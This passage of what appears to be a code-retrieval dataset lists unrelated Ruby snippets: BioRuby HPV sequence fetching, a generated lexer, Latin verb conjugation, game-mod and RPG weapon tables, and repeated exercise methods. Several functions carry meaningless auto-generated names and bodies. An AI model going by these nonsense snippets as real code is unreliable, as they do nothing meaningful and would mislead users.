|line|\n matched = /\\[(.*)\\].*\\((HPV-.*)\\)/.match(line).to_s\n if matched !=''\n accession = $1\n hpv_type = $2\n #puts \"----------> #{line}\"\n\n hpv_types_acces[hpv_type]=accession unless /^NC_/ =~ hpv_types_acces[hpv_type]\n\n puts \"#{accession}:#{hpv_type}\"\n\n\n end\n\n \n }\n\n puts hpv_types_acces.inspect\n\n # Retrieve the sequence of accession number M33388 from the EMBL\n # database.\n #server = Bio::Fetch.new() #uses default server\n #puts server.fetch('embl','M33388')\n\n # Do the same thing without creating a Bio::Fetch object. This method always\n # uses the default dbfetch server: http://bioruby.org/cgi-bin/biofetch.rb\n #puts Bio::Fetch.query('embl','M33388')\n\n # To know what databases are available on the bioruby dbfetch server:\n #server = Bio::Fetch.new()\n #puts server.databases\n\n # Some databases provide their data in different formats (e.g. 'fasta',\n # 'genbank' or 'embl'). To check which formats are supported by a given\n # database:\n #puts '-----------------'\n #puts server.formats('embl')\n\n ncbi = Bio::NCBI::REST.new\n Bio::NCBI.default_email=('dunarel@gmail.com')\n\n #recuperate proteins\n hpv_types_prot_seq = {}\n\n hpv_types_acces.each_pair { |name, val|\n #val = hpv_types_acces['HPV-41']\n #val = hpv_types_acces['HPV-81']\n # entry is a string containing only one entry contents\n entry = ncbi.efetch(val, {\"db\"=>\"nucleotide\", \"rettype\"=>\"gb\", \"retmode\" => \"text\"})\n gb = Bio::GenBank.new(entry)\n\n gb.each_cds() {|feature|\n gene = ''\n product = ''\n translation = ''\n note = ''\n debut = ''\n fin = ''\n matched =''\n\n feature.each do |qualifier|\n if qualifier.qualifier == 'product'\n #puts \"- \" + qualifier.qualifier\n product= qualifier.value\n\n end\n\n if qualifier.qualifier == 'gene'\n gene= qualifier.value\n end\n\n if qualifier.qualifier == 'note'\n note= qualifier.value\n end\n\n if qualifier.qualifier == 'translation'\n translation = qualifier.value\n end\n end\n\n #puts \"product: #{product}, gene: #{gene}, note: #{note}, translation: #{translation}\"\n\n matched = /[ELXYZ]\\d?\\w?/.match(gene).to_s\n\n if matched == ''\n matched = /[ELXYZ]\\d?\\w?/.match(product).to_s\n end\n\n matched = /[ELXYZ]\\d?\\w?/.match(note).to_s if matched == ''\n\n matched.capitalize()\n\n\n\n position = case feature.position\n when /join\\((\\d+).*\\.\\.(\\d+)\\)/ then $1 +'..' + $2\n else feature.position\n end\n\n\n\n debut = position.split(\"..\")[0]\n debut = debut.gsub('<','')\n\n fin = position.split(\"..\")[1]\n fin = fin.gsub('>','')\n\n if matched == asked_gene\n puts \" #{val} \\t#{debut}:#{fin} \\t gene:#{gene} \\t product:#{product} \\t note:#{note} \\t matched#{matched} \\t #{translation}\"\n\n hpv_types_prot_seq[name]=translation\n end\n\n\n }\n\n }\n #ncbi.efetch(\"J00231\", {\"db\"=>\"nuccore\", \"rettype\"=>\"gb\", \"retmode\"=>\"xml\"})\n #ncbi.efetch(\"AAA52805\", {\"db\"=>\"protein\", \"rettype\"=>\"gb\"})\n\n return hpv_types_prot_seq\n\n end","def hypothesis4(countsXmajor) \n\tcriteria = 0\n\tphotoeuks = 0\n\tnonPhotoeuks = 0\n\tphotoeuks += 1 if countsXmajor['Sr'] >= 0.25\n\tphotoeuks += 1 if countsXmajor['Pl'] >= 0.25\n\tphotoeuks += 1 if countsXmajor['EE'] >= 0.25\n\tnonPhotoeuks += 1 if countsXmajor['Op'] >= 0.25\n\tnonPhotoeuks += 1 if countsXmajor['Am'] >= 0.25\n\tnonPhotoeuks += 1 if countsXmajor['Ex'] >= 0.25\t\t\n\tcriteria += 1 if countsXmajor['Ba'] >= 0\n\tcriteria += 1 if countsXmajor['Za'] < 0.25\n\tcriteria += 1 if photoeuks >= 2\n\tcriteria += 1 if nonPhotoeuks == 0\n\tif criteria == 4\n\t\treturn 1\n\telse\n\t\treturn 0 \n\tend\nend","def preprovide_saily_kainsi(akamatsu_demoniacally)\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\n lid_polytonalism(pneumoenteritis_ribby)\n pricklefish(overdraft, phleboplasty_poleaxe)\n end","def kids_musical; end","def deponent_imperative_mutations # :nodoc:\n self.singleton_class.class_eval do\n def active_voice_imperative_mood_present_tense_second_person_singular_number\n return @proxyVerb.instance_variable_get '@present_active_infinitive'\n end\n def active_voice_imperative_mood_present_tense_second_person_plural_number\n return @proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n end\n def active_voice_imperative_mood_future_tense_second_person_singular_number\n k=@proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n k.sub!(/minī$/, '')\n k += 'tor'\n Linguistics::Latin::Phonographia.fix_macrons k\n end\n end\n end","def lower_opinion_penalties!\n patch_mod_file!(\"common/opinion_modifiers/00_opinion_modifiers.txt\") do |node|\n modify_node! node,\n [\"pirated_us\", \"min\", -100, -25],\n [\"converted_our_culture\", \"opinion\", -30, -5],\n [\"converted_our_culture\", \"min\", nil, -100],\n [\"violated_tordesillas\", \"min\", nil, -50],\n [\"opinion_unlawful_territory\", \"min\", nil, -50]\n end\n end","def token!\n # at line 1:8: ( AMP | AMP_ASGN | GEQ | AND | GET | GREATER | HAT | HAT_ASGN | QMARK | ARROW | RBRACE | ASGN | IF | RBRACK | IN | BL_END | INCR | BREAK | INSTANCEOF | RETURN | IS_DEFINED | RPAREN | CASE | RSHIFT | CATCH | RSHIFT3 | COLON | LBRACE | RSHIFT3_ASGN | COMMA | LBRACK | RSHIFT_ASGN | LEQ | SEMI | CONST | LESS | SET | CONTINUE | LET | DECR | LPAREN | DEFAULT | LSHIFT | STAR | DELETE | LSHIFT_ASGN | STAR_ASGN | MACRO | SWITCH | MINUS | THIS | DO | MINUS_ASGN | THROW | DOT | TILDE | TRUE | NEQ | TRY | NEQQ | TYPEOF | NEW | EACH | NOT | UNDEFINED | ELSE | NULL | UNLESS | EQ | UNTIL | EQQ | OR | FALSE | OR_ASGN | VAR | FINALLY | VOID | FOR | PIPE | WHILE | PIPE_ASGN | WITH | FUNCTION | PLUS | YIELD | PLUS_ASGN | IS_UNDEFINED | POUND | DEF | CLASS_DEF | OBJECT_DEF | T__148 | T__149 | T__150 | MOD | SLASH | DOC | STRING | NUMBER | NEWLINE | IVAR | ID | WS | EJS )\n alt_72 = 104\n alt_72 = @dfa72.predict( @input )\n case alt_72\n when 1\n # at line 1:10: AMP\n amp!\n\n when 2\n # at line 1:14: AMP_ASGN\n amp_asgn!\n\n when 3\n # at line 1:23: GEQ\n geq!\n\n when 4\n # at line 1:27: AND\n and!\n\n when 5\n # at line 1:31: GET\n get!\n\n when 6\n # at line 1:35: GREATER\n greater!\n\n when 7\n # at line 1:43: HAT\n hat!\n\n when 8\n # at line 1:47: HAT_ASGN\n hat_asgn!\n\n when 9\n # at line 1:56: QMARK\n qmark!\n\n when 10\n # at line 1:62: ARROW\n arrow!\n\n when 11\n # at line 1:68: RBRACE\n rbrace!\n\n when 12\n # at line 1:75: ASGN\n asgn!\n\n when 13\n # at line 1:80: IF\n if!\n\n when 14\n # at line 1:83: RBRACK\n rbrack!\n\n when 15\n # at line 1:90: IN\n in!\n\n when 16\n # at line 1:93: BL_END\n bl_end!\n\n when 17\n # at line 1:100: INCR\n incr!\n\n when 18\n # at line 1:105: BREAK\n break!\n\n when 19\n # at line 1:111: INSTANCEOF\n instanceof!\n\n when 20\n # at line 1:122: RETURN\n return!\n\n when 21\n # at line 1:129: IS_DEFINED\n is_defined!\n\n when 22\n # at line 1:140: RPAREN\n rparen!\n\n when 23\n # at line 1:147: CASE\n case!\n\n when 24\n # at line 1:152: RSHIFT\n rshift!\n\n when 25\n # at line 1:159: CATCH\n catch!\n\n when 26\n # at line 1:165: RSHIFT3\n rshift_3!\n\n when 27\n # at line 1:173: COLON\n colon!\n\n when 28\n # at line 1:179: LBRACE\n lbrace!\n\n when 29\n # at line 1:186: RSHIFT3_ASGN\n rshift_3_asgn!\n\n when 30\n # at line 1:199: COMMA\n comma!\n\n when 31\n # at line 1:205: LBRACK\n lbrack!\n\n when 32\n # at line 1:212: RSHIFT_ASGN\n rshift_asgn!\n\n when 33\n # at line 1:224: LEQ\n leq!\n\n when 34\n # at line 1:228: SEMI\n semi!\n\n when 35\n # at line 1:233: CONST\n const!\n\n when 36\n # at line 1:239: LESS\n less!\n\n when 37\n # at line 1:244: SET\n set!\n\n when 38\n # at line 1:248: CONTINUE\n continue!\n\n when 39\n # at line 1:257: LET\n let!\n\n when 40\n # at line 1:261: DECR\n decr!\n\n when 41\n # at line 1:266: LPAREN\n lparen!\n\n when 42\n # at line 1:273: DEFAULT\n default!\n\n when 43\n # at line 1:281: LSHIFT\n lshift!\n\n when 44\n # at line 1:288: STAR\n star!\n\n when 45\n # at line 1:293: DELETE\n delete!\n\n when 46\n # at line 1:300: LSHIFT_ASGN\n lshift_asgn!\n\n when 47\n # at line 1:312: STAR_ASGN\n star_asgn!\n\n when 48\n # at line 1:322: MACRO\n macro!\n\n when 49\n # at line 1:328: SWITCH\n switch!\n\n when 50\n # at line 1:335: MINUS\n minus!\n\n when 51\n # at line 1:341: THIS\n this!\n\n when 52\n # at line 1:346: DO\n do!\n\n when 53\n # at line 1:349: MINUS_ASGN\n minus_asgn!\n\n when 54\n # at line 1:360: THROW\n throw!\n\n when 55\n # at line 1:366: DOT\n dot!\n\n when 56\n # at line 1:370: TILDE\n tilde!\n\n when 57\n # at line 1:376: TRUE\n true!\n\n when 58\n # at line 1:381: NEQ\n neq!\n\n when 59\n # at line 1:385: TRY\n try!\n\n when 60\n # at line 1:389: NEQQ\n neqq!\n\n when 61\n # at line 1:394: TYPEOF\n typeof!\n\n when 62\n # at line 1:401: NEW\n new!\n\n when 63\n # at line 1:405: EACH\n each!\n\n when 64\n # at line 1:410: NOT\n not!\n\n when 65\n # at line 1:414: UNDEFINED\n undefined!\n\n when 66\n # at line 1:424: ELSE\n else!\n\n when 67\n # at line 1:429: NULL\n null!\n\n when 68\n # at line 1:434: UNLESS\n unless!\n\n when 69\n # at line 1:441: EQ\n eq!\n\n when 70\n # at line 1:444: UNTIL\n until!\n\n when 71\n # at line 1:450: EQQ\n eqq!\n\n when 72\n # at line 1:454: OR\n or!\n\n when 73\n # at line 1:457: FALSE\n false!\n\n when 74\n # at line 1:463: OR_ASGN\n or_asgn!\n\n when 75\n # at line 1:471: VAR\n var!\n\n when 76\n # at line 1:475: FINALLY\n finally!\n\n when 77\n # at line 1:483: VOID\n void!\n\n when 78\n # at line 1:488: FOR\n for!\n\n when 79\n # at line 1:492: PIPE\n pipe!\n\n when 80\n # at line 1:497: WHILE\n while!\n\n when 81\n # at line 1:503: PIPE_ASGN\n pipe_asgn!\n\n when 82\n # at line 1:513: WITH\n with!\n\n when 83\n # at line 1:518: FUNCTION\n function!\n\n when 84\n # at line 1:527: PLUS\n plus!\n\n when 85\n # at line 1:532: YIELD\n yield!\n\n when 86\n # at line 1:538: PLUS_ASGN\n plus_asgn!\n\n when 87\n # at line 1:548: IS_UNDEFINED\n is_undefined!\n\n when 88\n # at line 1:561: POUND\n pound!\n\n when 89\n # at line 1:567: DEF\n def!\n\n when 90\n # at line 1:571: CLASS_DEF\n class_def!\n\n when 91\n # at line 1:581: OBJECT_DEF\n object_def!\n\n when 92\n # at line 1:592: T__148\n t__148!\n\n when 93\n # at line 1:599: T__149\n t__149!\n\n when 94\n # at line 1:606: T__150\n t__150!\n\n when 95\n # at line 1:613: MOD\n mod!\n\n when 96\n # at line 1:617: SLASH\n slash!\n\n when 97\n # at line 1:623: DOC\n doc!\n\n when 98\n # at line 1:627: STRING\n string!\n\n when 99\n # at line 1:634: NUMBER\n number!\n\n when 100\n # at line 1:641: NEWLINE\n newline!\n\n when 101\n # at line 1:649: IVAR\n ivar!\n\n when 102\n # at line 1:654: ID\n id!\n\n when 103\n # at line 1:657: WS\n ws!\n\n when 104\n # at line 1:660: EJS\n ejs!\n\n end\n end","def techno_percussion len\n self << len.Dist # bass drum\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n # max len is full, min quarter\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.11/h_num) \n\n self << len.Dist # snare\n mapee_last.clear_hits\n mapee_last << [0.25,0.75]\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len/h_num, len/h_num/2) \n \n self << len.Dist # hi\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n mapee_last.hits.move(0.125) # offbeats\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.666/h_num/2) \n \n self\n end","def indefinite_reflexive_pronoun\n return \"itself\"\n end","def afue_to_thermal_eff(afue)\n \n return afue # Per PNNL doc, Boiler Addendum 90.1-04an\n \nend","def virus_effects \n predicted_deaths \n speed_of_spread\n end","def virus_effects\n speed_of_spread\n predicted_deaths\n end","def cigaret_nicotin\n Unitwise(0.000001, 'kilogram')\n end","def virus_effects\n predicted_deaths\n speed_of_spread\nend","def sv_missing_etymology\n true # see Protonym\n end","def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def huella_nutricional\n numero1 = self.calculo_valor_calorico_total\n numero2 = self.calculo_emisiones_diarias\n\n if numero1 < 670\n ienergia = 1\n elsif numero1 <=830\n ienergia = 2\n else\n ienergia = 3\n end\n\n if numero2 < 800\n icarbono = 1\n elsif numero2 <= 1200\n icarbono = 2\n else\n icarbono = 3\n end\n\n media = (ienergia + icarbono)/2\n end","def reflexive_pronoun\n return @gender.reflexive\n end","def morph_analyze(ps )\n plainEojeol = nil\n plainEojeols = ps.sentence.split(/[ \\t]/)\n eojeolNum = plainEojeols.length\n \n plainEojeolArray = []\n eojeolSetArray = []\n\n for plainEojeol in plainEojeols do\n plainEojeolArray << plainEojeol\n eojeolSetArray << process_eojeol(plainEojeol)\n puts \"EOJEOL SET ARRAY PROC: #{eojeolSetArray}\"\n end\n puts \"=== ChartMorphAnayzer.morph_anyze ===\"\n puts \"PLAIN EOJEOL ARRAY:#{plainEojeolArray}\"\n puts \"EOJEOL SET ARRAY:#{eojeolSetArray}\"\n\n sos = SetOfSentences.new(ps.document_id, ps.sentence_id, ps.end_of_document, plainEojeolArray, eojeolSetArray)\n sos = @postProc.do_post_processing(sos)\n return sos\n end","def unit_other_category(u)\n # comment is actual code returned by the df function\n return :Berserk if u.mood == :Berserk # 5\n return :Berserk if unit_testflagcurse(u, :CRAZED) # 14\n return :Undead if unit_testflagcurse(u, :OPPOSED_TO_LIFE) # 1\n return :Undead if u.flags3.ghostly # 15\n\n if df.gamemode == :ADVENTURE\n return :Hostile if u.civ_id == -1 # 2\n if u.animal.population.region_x == -1\n return :Wild if u.flags2.roaming_wilderness_population_source_not_a_map_feature # 0\n else\n return :Hostile if u.flags2.important_historical_figure and n = unit_nemesis(u) and n.flags[:ACTIVE_ADVENTURER] # 2\n end\n return :Hostile if u.flags2.resident # 3\n return :Hostile # 4\n end\n\n return :Invader if u.flags1.active_invader or u.flags1.invader_origin # 6\n return :Friendly if u.flags1.forest or u.flags1.merchant or u.flags1.diplomat # 8\n return :Hostile if u.flags1.tame # 7\n\n if u.civ_id != -1\n return :Unsure if u.civ_id != df.ui.civ_id or u.flags1.resident or u.flags1.visitor or u.flags1.visitor_uninvited # 10\n return :Hostile # 7\n\n elsif u.animal.population.region_x == -1\n return :Friendly if u.flags2.visitor # 8\n return :Uninvited if u.flags2.visitor_uninvited # 12\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Resident if u.flags2.resident # 13\n return :Friendly # 8\n\n else\n return :Friendly if u.flags2.visitor # 8\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Wild if u.animal.population.feature_idx == -1 and u.animal.population.cave_id == -1 # 0\n return :Wild # 11\n end\n end","def tell_fortunte()\n\t\tprint \"The answer is \" + $prediction + \". \\n\\n: \"\n\tend","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end"],"string":"[\n \"def emotional_adjective; end\",\n \"def happy_unhappy_unhappiness\\n # The distance between 'i' and 'y' is 0.5. The distance between and two\\n # other non-equal phone pairs is 1. This ensures that 'i' and 'y' will tend\\n # align with each other.\\n happy_unhappy_phones =<<-EOTEXT\\n FORM, LETTER, CLASS\\n i, i, iy\\n y, y, iy\\n a, a, a\\n e, e, e\\n h, h, h\\n n, n, n\\n p, p, p\\n s, s, s\\n u, u, u\\n EOTEXT\\n phone_table = PhoneticAlign::PhoneTable.new(happy_unhappy_phones)\\n # Phonetic sequences\\n # Meanings\\n un_meaning = PhoneticAlign::FeatureValueMatrix[:POL => :neg]\\n happy_meaning = PhoneticAlign::FeatureValueMatrix[:LEMMA => :happy]\\n ness_meaning = PhoneticAlign::FeatureValueMatrix[:POS => :noun]\\n # Morphemes\\n un_morph = PhoneticAlign::SurfaceMorpheme.new(un_meaning, phone_table.phone_sequence(\\\"un\\\"))\\n happy_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\\\"happy\\\"))\\n happy_happi_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\\\"happi\\\"), \\n [phone_table.phone_sequence(\\\"happy\\\"),\\n phone_table.phone_sequence(\\\"happi\\\")])\\n ness_morph = PhoneticAlign::SurfaceMorpheme.new(ness_meaning, phone_table.phone_sequence(\\\"ness\\\"))\\n # Words consisting of all phones.\\n happy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\\\"happy\\\"), happy_meaning)\\n unhappy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\\\"unhappy\\\"), un_meaning + happy_meaning)\\n unhappiness_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\\\"unhappiness\\\"), un_meaning + happy_meaning + ness_meaning)\\n # Words consisting of phones and morphemes.\\n unhappy_pm = PhoneticAlign::Word.new([un_morph] + phone_table.phone_sequence(\\\"happy\\\"), un_meaning + happy_meaning)\\n # Words consisting of all morphemes\\n happy_m = PhoneticAlign::Word.new([happy_morph], happy_meaning)\\n unhappy_m = PhoneticAlign::Word.new([un_morph, happy_morph], un_meaning + happy_meaning)\\n happy_happi_ness_m = PhoneticAlign::Word.new([happy_happi_morph, ness_morph], happy_meaning)\\n unhappy_happi_ness_m = PhoneticAlign::Word.new([un_morph, happy_happi_morph, ness_morph], un_meaning + happy_meaning + ness_meaning)\\n return Struct.new(:phone_table,\\n :happy_p, :unhappy_p, :unhappiness_p,\\n :unhappy_pm,\\n :happy_m, :unhappy_m, :happy_happi_ness_m, :unhappy_happi_ness_m,\\n :un_meaning, :happy_meaning, :ness_meaning).new(\\n phone_table,\\n happy_p, unhappy_p, unhappiness_p,\\n unhappy_pm,\\n happy_m, unhappy_m, happy_happi_ness_m, unhappy_happi_ness_m,\\n un_meaning, happy_meaning, ness_meaning)\\nend\",\n \"def nonstriker_perimartium(pronunciation_crotched)\\n end\",\n \"def potion; end\",\n \"def archipin(unpicturability)\\n spousage_fraid(maunge, prodigiously, digitaria)\\n recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)\\n heteropodous_inrun_synthete()\\n end\",\n \"def hornlike(adet_mortification, hyperconscious)\\n shadowiness_priceable(disinterment, pericellular_homogenization)\\n counterbreastwork_knickerbockered()\\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\\n end\",\n \"def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\\n indefensibly_tencteri(scourwort)\\n bambini_wolfishly(trolleyful_unimproving)\\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\\n end\",\n \"def possessive_pronoun\\n return @gender.possessive\\n end\",\n \"def aetiology_processor(line)\\n\\t\\tline.strip.scan(/^(Aetiology and immunopathogenesis|Aetiology)$/) do |match|\\n\\t\\t\\treturn [\\\"on\\\",line.strip]\\n\\t\\tend\\n\\t\\treturn [\\\"off\\\",line.strip]\\n\\tend\",\n \"def nutritionally(unaffirmed_excisor, undubbed_palindromic)\\n hatful_radsimir(dumbfounder, kaka_propheticly)\\n end\",\n \"def passive_voice_indicative_mood_imperfect_tense\\n end\",\n \"def gastriloquism_quinnipiac_apodictical()\\n end\",\n \"def understrain_omnifacial_paroemiac()\\n nonsolicitation_manship_podilegous?(unionism)\\n end\",\n \"def difficultly(qoph_ridding, fadedness_santalaceae)\\n biopsychologist_hamidian_tachardiinae()\\n inigo()\\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\\n end\",\n \"def impureness(overwhipped)\\n talpetate()\\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\\n end\",\n \"def silly_adjective; end\",\n \"def indefinite_possessive_pronoun\\n return \\\"its\\\"\\n end\",\n \"def superweening_adorningly(counterstand_pyrenomycetales)\\n end\",\n \"def get_ectomorph\\n {name: \\\"Ectomorph\\\",\\n info: @@doc.search(\\\"#DPG p\\\").children[4..8].text,\\n training: @@doc.search(\\\"#DPG p\\\").children[18..20].text}\\n end\",\n \"def active_voice_indicative_mood_imperfect_tense\\n end\",\n \"def exemplifies\\n if self.alternation_values_examples.any?\\n self.alternation_values.first.alternation\\n elsif self.coding_frame_examples.any?\\n self.coding_frames.first\\n elsif self.verbs.any?\\n self.verbs.first\\n else\\n \\\"other\\\"\\n end\\n end\",\n \"def virality\\n 0\\n end\",\n \"def topsman_periphacitis_urosteon()\\n end\",\n \"def indefinite_personal_objective_pronoun\\n return \\\"it\\\"\\n end\",\n \"def og_prediction\\n (1 + (0.035 * @efficiency * @grist_weight / @batch_volume)).round(3)\\n end\",\n \"def active_voice_subjunctive_mood_imperfect_tense\\n TenseBlock.new(\\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\\n present_active_infinitive.sub(/e$/,'ē') + ending\\n end,\\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\\n )\\n end\",\n \"def remanet(concupiscibleness, torve_resack)\\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\\n antispadix_provencalize(galactophthysis, saintlike)\\n japheth(auresca, squamatine, vitalist_pheal)\\n end\",\n \"def sittinae_hooey(scrawny_appulsion, termly)\\n end\",\n \"def romeo_and_juliet; end\",\n \"def diarchic()\\n menald_apinae(preadvance, herpetotomy)\\n puppy_becrown_thusgate(nonrepresentative_cometographical, gadolinite, curably_nondeliberate)\\n unorbital?(hedgy_intervarietal, omenology)\\n end\",\n \"def collegiate_rivals\\n end\",\n \"def king_richard_iii; end\",\n \"def hyalodacite_triaenose_semicolumnar(serratile_exploration, erroneousness, testatum)\\n speuchan_cadmic(mescalism_unsoluble)\\n quare(hypenantron_unshodden, feuilletonism, whitehearted_damselhood)\\n pilar_immelodious_overtenderly(heterokontae_sarinda, pipage)\\n end\",\n \"def mermithization_unstrictured_hersed()\\n technonomy(wrangler)\\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\\n end\",\n \"def passive_voice_subjunctive_mood_imperfect_tense\\n base = present_active_infinitive.gsub(/(.*)(.)$/,\\\"\\\\\\\\1\\\" + 'ē')\\n TenseBlock.new(\\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\\n base + ending\\n end,\\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\\n )\\n end\",\n \"def onomatopoeic(raindrop)\\n PHONEMES.reduce nil do |morpheme, (factor, phoneme)|\\n if raindrop.modulo(factor).zero?\\n [morpheme, phoneme].join\\n else\\n morpheme\\n end\\n end\\n end\",\n \"def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\\n end\",\n \"def passive_voice_indicative_mood_perfect_tense\\n TenseBlock.new(\\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \\\"#{passive_perfect_participle} #{helping_verb}\\\" },\\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\\n )\\n end\",\n \"def puncture\\n end\",\n \"def electromechanical; end\",\n \"def offensive_implants_results(roll)\\n def weapon_arm_roll(roll) # Hub Rules p. 92\\n case\\n when 1..4\\n @@implants << \\\"Weapon Arm ~ Razor Sword\\\"\\n when 5..9\\n @@implants << \\\"Weapon Arm ~ Spring Spike\\\"\\n when 10..14\\n @@implants << \\\"Weapon Arm ~ Discsaw\\\"\\n @@equipment << \\\"Discsaw #{d(4)} power cells\\\"\\n when 15..18\\n @@implants << \\\"Weapon Arm ~ Chainsaw\\\"\\n @@equipment << \\\"Chainsaw #{d(4)} power cells\\\"\\n when 19..21\\n @@implants << \\\"Weapon Arm ~ Laser Torch\\\"\\n @@equipment << \\\"Laser torch #{d(4)} power cells\\\"\\n when 22..25\\n @@implants << \\\"Weapon Arm ~ Stun stick\\\"\\n @@equipment << \\\"Stun stick #{d(6)} mini power cells\\\"\\n when 26..29\\n @@implants << \\\"Weapon Arm ~ Stun Pistol\\\"\\n @@equipment << \\\"Stun pistol #{d(6)} power cells\\\"\\n when 30..35\\n @@implants << \\\"Weapon Arm ~ Laser sword\\\"\\n @@equipment << \\\"Laser sword #{d(6)} power cells\\\"\\n when 36..39\\n @@implants << \\\"Weapon Arm ~ Assault shotgun\\\"\\n @@equipment << \\\"Assault shotgun #{d(2)} 40-round drum, #{d(20)} loose shells\\\"\\n when 40..43\\n @@implants << \\\"Weapon Arm ~ Sniper rifle\\\"\\n @@equipment << \\\"Sniper rifle #{d(2)} full mags, #{d(20)} loose HCR shells\\\"\\n when 44..50\\n @@implants << \\\"Weapon Arm ~ Submachine gun\\\"\\n @@equipment << \\\"SMG #{d(2)} full mags, #{d(100)} loose pistol rounds\\\"\\n when 51..60\\n @@implants << \\\"Weapon Arm ~ Assault rifle\\\"\\n @@equipment << \\\"AR #{d(3)} full mags, #{d(100)} loose rifle rounds\\\"\\n when 61..64\\n @@implants << \\\"Weapon Arm ~ Rocket launcher\\\"\\n @@equipment << \\\"#{(d(6)+d(6))} battle rockets\\\"\\n when 65..68\\n @@implants << \\\"Weapon Arm ~ Flamethrower\\\"\\n @@equipment << \\\"Flamethrower #{(d(6)+1)} fuel canisters\\\"\\n when 69..76\\n @@implants << \\\"Weapon Arm ~ Chain gun\\\"\\n @@equipment << \\\"Chain gun ammo drum (200-rd) and #{d(100)} loose rifle rounds\\\"\\n when 77..79\\n @@implants << \\\"Weapon Arm ~ Chain gun\\\"\\n @@equipment << \\\"Chain gun ammo belt pack with #{d(100) + 100} rifle rounds\\\"\\n when 80..84\\n @@implants << \\\"Weapon Arm ~ Heavy machine gun\\\"\\n @@equipment << \\\"HMG 100-round drum and #{d(100)} loose HCR rounds\\\"\\n when 85..87\\n @@implants << \\\"Weapon Arm ~ Heavy machine gun\\\"\\n @@equipment << \\\"HMG ammo belt pack with #{d(100) + 100} HCR rounds\\\"\\n when 88..92\\n @@implants << \\\"Weapon Arm ~ Laser carbine\\\"\\n @@equipment << \\\"Laser carbine #{d(6) + 1} power cells\\\"\\n when 93..94\\n @@implants << \\\"Weapon Arm ~ Heavy laser carbine\\\"\\n @@equipment << \\\"HLC #{d(6) + 1} power cells\\\"\\n when 95..96\\n @@implants << \\\"Weapon Arm ~ Pulse rifle\\\"\\n @@equipment << \\\"Pulse rifle #{d(6) + 1} power cells\\\"\\n when 97\\n @@implants << \\\"Weapon Arm ~ Pulse rifle\\\"\\n @@equipment << \\\"Pulse rifle power pack: 250 bursts\\\"\\n when 98\\n @@implants << \\\"Weapon Arm ~ Heavy pulse rifle\\\"\\n @@equipment << \\\"Heavy pulse rifle #{d(6) + 1} power cells\\\"\\n when 99\\n @@implants << \\\"Weapon Arm ~ Light laser cannon (cyborg mod)\\\"\\n @@equipment << \\\"1 light laser cannon power pack\\\"\\n when 100\\n 2.times do weapon_arm_roll(d(100))\\n end\\n end\\n\\n # Default attack: attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"Hub Rules p.\\\", :notes => \\\"Notes\\\"}\\n\\n case roll\\n when 1..6\\n @@implants << \\\"Alloy Razor Claws\\\"\\n @@attacks << {:attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 7..10\\n @@implants << \\\"Fold Out Manipulator Arm ~\\\"\\n @@attacks << {:attack_mode => \\\"Punch\\\", :SV => 0, :rate 